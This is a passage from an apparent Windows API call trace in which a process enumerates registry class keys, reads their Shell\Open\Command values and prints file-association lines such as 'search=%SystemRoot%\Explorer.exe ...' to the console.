RegCloseKey (hKey=0x0) returned 0x6 [0101.584] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xca7, lpName=0x2eef50, cchName=0x104 | out: lpName="SDENGINE.CSdGITManager") returned 0x0 [0101.584] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDENGINE.CSdGITManager\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.584] SetLastError (dwErrCode=0x2) [0101.584] RegCloseKey (hKey=0x0) returned 0x6 [0101.584] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xca8, lpName=0x2eef50, cchName=0x104 | out: lpName="SDENGINE.CSdGITManager.1") returned 0x0 [0101.584] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDENGINE.CSdGITManager.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.584] SetLastError (dwErrCode=0x2) [0101.584] RegCloseKey (hKey=0x0) returned 0x6 [0101.584] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xca9, lpName=0x2eef50, cchName=0x104 | out: lpName="SDENGINE.CSdWhcNotifier") returned 0x0 [0101.584] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDENGINE.CSdWhcNotifier\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.585] SetLastError (dwErrCode=0x2) [0101.585] RegCloseKey (hKey=0x0) returned 0x6 [0101.585] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcaa, lpName=0x2eef50, cchName=0x104 | out: lpName="SDENGINE.CSdWhcNotifier.1") returned 0x0 [0101.585] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDENGINE.CSdWhcNotifier.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.585] SetLastError (dwErrCode=0x2) [0101.585] RegCloseKey (hKey=0x0) returned 0x6 [0101.585] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcab, lpName=0x2eef50, cchName=0x104 | out: lpName="SDENGINE.SdEngine2") returned 0x0 [0101.585] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDENGINE.SdEngine2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.585] SetLastError (dwErrCode=0x2) [0101.585] RegCloseKey (hKey=0x0) returned 0x6 [0101.585] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcac, lpName=0x2eef50, cchName=0x104 | out: lpName="SDENGINE.SdEngine2.1") returned 0x0 [0101.585] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDENGINE.SdEngine2.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.585] SetLastError (dwErrCode=0x2) [0101.585] RegCloseKey (hKey=0x0) returned 0x6 [0101.585] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcad, lpName=0x2eef50, cchName=0x104 | out: lpName="SdrService.SdController") returned 0x0 [0101.585] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SdrService.SdController\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.585] SetLastError (dwErrCode=0x2) [0101.585] RegCloseKey (hKey=0x0) returned 0x6 [0101.585] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcae, lpName=0x2eef50, cchName=0x104 | out: lpName="SdrService.SdController.1") returned 0x0 [0101.585] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SdrService.SdController.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.585] SetLastError (dwErrCode=0x2) [0101.585] RegCloseKey (hKey=0x0) returned 0x6 [0101.585] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcaf, lpName=0x2eef50, cchName=0x104 | out: lpName="SdrService.SdrRestoreService") returned 0x0 [0101.585] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SdrService.SdrRestoreService\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.585] SetLastError (dwErrCode=0x2) [0101.585] RegCloseKey (hKey=0x0) returned 0x6 [0101.586] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcb0, lpName=0x2eef50, cchName=0x104 | out: lpName="SdrService.SdrRestoreService.1") returned 0x0 [0101.586] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SdrService.SdrRestoreService.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.586] SetLastError (dwErrCode=0x2) [0101.586] RegCloseKey (hKey=0x0) returned 0x6 [0101.586] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcb1, lpName=0x2eef50, cchName=0x104 | out: lpName="SDRun.AutoPlayHandler") returned 0x0 [0101.586] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDRun.AutoPlayHandler\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.586] SetLastError (dwErrCode=0x2) [0101.586] RegCloseKey (hKey=0x0) returned 0x6 [0101.586] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcb2, lpName=0x2eef50, cchName=0x104 | out: lpName="SDRun.AutoPlayHandler.1") returned 0x0 [0101.586] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDRun.AutoPlayHandler.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.586] SetLastError (dwErrCode=0x2) [0101.586] RegCloseKey (hKey=0x0) returned 0x6 [0101.586] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcb3, lpName=0x2eef50, cchName=0x104 | out: lpName="SDSHELLEXTENSION.SdShellExtension") returned 0x0 [0101.586] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDSHELLEXTENSION.SdShellExtension\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.586] SetLastError (dwErrCode=0x2) [0101.586] RegCloseKey (hKey=0x0) returned 0x6 [0101.586] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcb4, lpName=0x2eef50, cchName=0x104 | out: lpName="SDSHELLEXTENSION.SdShellExtension.1") returned 0x0 [0101.586] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDSHELLEXTENSION.SdShellExtension.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.586] SetLastError (dwErrCode=0x2) [0101.586] RegCloseKey (hKey=0x0) returned 0x6 [0101.586] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcb5, lpName=0x2eef50, cchName=0x104 | out: lpName="SDSnapin.SDSnapin") returned 0x0 [0101.586] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDSnapin.SDSnapin\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.586] SetLastError (dwErrCode=0x2) [0101.587] RegCloseKey (hKey=0x0) returned 0x6 [0101.587] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcb6, lpName=0x2eef50, cchName=0x104 | out: lpName="SDSnapin.SDSnapin.1") returned 0x0 [0101.587] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDSnapin.SDSnapin.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.587] SetLastError (dwErrCode=0x2) [0101.587] RegCloseKey (hKey=0x0) returned 0x6 [0101.587] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcb7, lpName=0x2eef50, cchName=0x104 | out: lpName="SDSnapinAbout.1") returned 0x0 [0101.587] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SDSnapinAbout.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.587] SetLastError (dwErrCode=0x2) [0101.587] RegCloseKey (hKey=0x0) returned 0x6 [0101.587] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcb8, lpName=0x2eef50, cchName=0x104 | out: lpName="search") returned 0x0 [0101.587] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="search\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.587] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x64) returned 0x0 [0101.587] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x64 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L", lpcbData=0x2eef20*=0x64) returned 0x0 [0101.587] RegCloseKey (hKey=0x64) returned 0x0 [0101.587] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="search=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n") returned 58 [0101.587] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.587] GetFileType (hFile=0x5c) returned 0x3 [0101.587] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.587] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="search=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="search=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 59 [0101.587] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x3a, lpOverlapped=0x0) returned 1 [0101.708] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcb9, lpName=0x2eef50, cchName=0x104 | out: lpName="search-ms") returned 0x0 [0101.708] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="search-ms\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.708] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x64) returned 0x0 [0101.708] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x64 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L", lpcbData=0x2eef20*=0x64) returned 0x0 [0101.708] RegCloseKey (hKey=0x64) returned 0x0 [0101.708] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="search-ms=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n") returned 61 [0101.708] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.708] GetFileType (hFile=0x5c) returned 0x3 [0101.708] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.708] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="search-ms=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="search-ms=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 62 [0101.708] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x3d, lpOverlapped=0x0) returned 1 [0101.708] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcba, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.CollatorDSO") returned 0x0 [0101.708] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.CollatorDSO\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.709] SetLastError (dwErrCode=0x2) [0101.709] RegCloseKey (hKey=0x0) returned 0x6 [0101.709] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcbb, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.CollatorDSO.1") returned 0x0 [0101.709] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.CollatorDSO.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.709] SetLastError (dwErrCode=0x2) [0101.709] RegCloseKey (hKey=0x0) returned 0x6 [0101.709] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcbc, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.CollatorErrors") returned 0x0 [0101.709] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.CollatorErrors\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.709] SetLastError (dwErrCode=0x2) [0101.709] RegCloseKey (hKey=0x0) returned 0x6 [0101.709] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcbd, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.CollatorErrors.1") returned 0x0 [0101.709] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.CollatorErrors.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.709] SetLastError (dwErrCode=0x2) [0101.709] RegCloseKey (hKey=0x0) returned 0x6 [0101.709] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcbe, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.CommandCreator") returned 0x0 [0101.709] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.CommandCreator\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.709] SetLastError (dwErrCode=0x2) [0101.709] RegCloseKey (hKey=0x0) returned 0x6 [0101.709] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcbf, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.CommandCreator.1") returned 0x0 [0101.709] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.CommandCreator.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.709] SetLastError (dwErrCode=0x2) [0101.709] RegCloseKey (hKey=0x0) returned 0x6 [0101.709] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcc0, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.CscHandler") returned 0x0 [0101.709] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.CscHandler\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.709] SetLastError (dwErrCode=0x2) [0101.709] RegCloseKey (hKey=0x0) returned 0x6 [0101.709] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcc1, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.CscHandler.1") returned 0x0 [0101.709] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.CscHandler.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.710] SetLastError (dwErrCode=0x2) [0101.710] RegCloseKey (hKey=0x0) returned 0x6 [0101.710] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcc2, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.CustomWordbreaker") returned 0x0 [0101.710] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.CustomWordbreaker\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.710] SetLastError (dwErrCode=0x2) [0101.710] RegCloseKey (hKey=0x0) returned 0x6 [0101.710] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcc3, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.CustomWordbreaker.1") returned 0x0 [0101.710] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.CustomWordbreaker.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.710] SetLastError (dwErrCode=0x2) [0101.710] RegCloseKey (hKey=0x0) returned 0x6 [0101.710] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcc4, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.DirMonitorNotifier") returned 0x0 [0101.710] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.DirMonitorNotifier\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.710] SetLastError (dwErrCode=0x2) [0101.710] RegCloseKey (hKey=0x0) returned 0x6 [0101.710] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcc5, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.DirMonitorNotifier.1") returned 0x0 [0101.710] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.DirMonitorNotifier.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.710] SetLastError (dwErrCode=0x2) [0101.710] RegCloseKey (hKey=0x0) returned 0x6 [0101.710] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcc6, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.EmbeddedGatherMgr") returned 0x0 [0101.710] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.EmbeddedGatherMgr\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.710] SetLastError (dwErrCode=0x2) [0101.710] RegCloseKey (hKey=0x0) returned 0x6 [0101.710] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcc7, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.EmbeddedGatherMgr.1") returned 0x0 [0101.710] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.EmbeddedGatherMgr.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.710] SetLastError (dwErrCode=0x2) [0101.710] RegCloseKey (hKey=0x0) returned 0x6 [0101.710] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcc8, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.EmbeddedGatherNotify") returned 0x0 [0101.710] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.EmbeddedGatherNotify\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.711] SetLastError (dwErrCode=0x2) [0101.711] RegCloseKey (hKey=0x0) returned 0x6 [0101.711] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcc9, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.EmbeddedGatherNotify.1") returned 0x0 [0101.711] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.EmbeddedGatherNotify.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.711] SetLastError (dwErrCode=0x2) [0101.711] RegCloseKey (hKey=0x0) returned 0x6 [0101.711] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcca, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.EmbeddedGatherNotifyInline") returned 0x0 [0101.711] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.EmbeddedGatherNotifyInline\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.711] SetLastError (dwErrCode=0x2) [0101.711] RegCloseKey (hKey=0x0) returned 0x6 [0101.711] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xccb, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.EmbeddedGatherNotifyInline.1") returned 0x0 [0101.711] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.EmbeddedGatherNotifyInline.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.711] SetLastError (dwErrCode=0x2) [0101.711] RegCloseKey (hKey=0x0) returned 0x6 [0101.711] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xccc, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.EmbeddedSearchSvcAdmin") returned 0x0 [0101.711] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.EmbeddedSearchSvcAdmin\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.711] SetLastError (dwErrCode=0x2) [0101.711] RegCloseKey (hKey=0x0) returned 0x6 [0101.711] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xccd, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.EmbeddedSearchSvcAdmin.1") returned 0x0 [0101.711] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.EmbeddedSearchSvcAdmin.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.711] SetLastError (dwErrCode=0x2) [0101.711] RegCloseKey (hKey=0x0) returned 0x6 [0101.711] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcce, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.FileHandler") returned 0x0 [0101.711] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.FileHandler\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.711] SetLastError (dwErrCode=0x2) [0101.711] RegCloseKey (hKey=0x0) returned 0x6 [0101.711] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xccf, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.FileHandler.1") returned 0x0 [0101.711] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.FileHandler.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.711] SetLastError (dwErrCode=0x2) [0101.712] RegCloseKey (hKey=0x0) returned 0x6 [0101.712] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcd0, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.FilesystemBackupProvider") returned 0x0 [0101.712] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.FilesystemBackupProvider\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.712] SetLastError (dwErrCode=0x2) [0101.712] RegCloseKey (hKey=0x0) returned 0x6 [0101.712] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcd1, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.FilesystemBackupProvider.1") returned 0x0 [0101.712] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.FilesystemBackupProvider.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.712] SetLastError (dwErrCode=0x2) [0101.712] RegCloseKey (hKey=0x0) returned 0x6 [0101.712] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcd2, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.FilterRegistration") returned 0x0 [0101.712] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.FilterRegistration\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.712] SetLastError (dwErrCode=0x2) [0101.712] RegCloseKey (hKey=0x0) returned 0x6 [0101.712] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcd3, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.FilterRegistration.1") returned 0x0 [0101.712] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.FilterRegistration.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.712] SetLastError (dwErrCode=0x2) [0101.712] RegCloseKey (hKey=0x0) returned 0x6 [0101.712] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcd4, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.Gatherer") returned 0x0 [0101.712] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.Gatherer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.712] SetLastError (dwErrCode=0x2) [0101.712] RegCloseKey (hKey=0x0) returned 0x6 [0101.712] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcd5, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.Gatherer.1") returned 0x0 [0101.712] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.Gatherer.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.712] SetLastError (dwErrCode=0x2) [0101.712] RegCloseKey (hKey=0x0) returned 0x6 [0101.712] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcd6, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.GathererLogFileProvider") returned 0x0 [0101.712] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.GathererLogFileProvider\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.713] SetLastError (dwErrCode=0x2) [0101.713] RegCloseKey (hKey=0x0) returned 0x6 [0101.713] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcd7, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.GathererLogFileProvider.1") returned 0x0 [0101.713] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.GathererLogFileProvider.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.713] SetLastError (dwErrCode=0x2) [0101.713] RegCloseKey (hKey=0x0) returned 0x6 [0101.713] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcd8, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.GatherMgr") returned 0x0 [0101.713] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.GatherMgr\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.713] SetLastError (dwErrCode=0x2) [0101.713] RegCloseKey (hKey=0x0) returned 0x6 [0101.713] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcd9, lpName=0x2eef50, cchName=0x104 | out: lpName="Search.GatherMgr.1") returned 0x0 [0101.713] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Search.GatherMgr.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 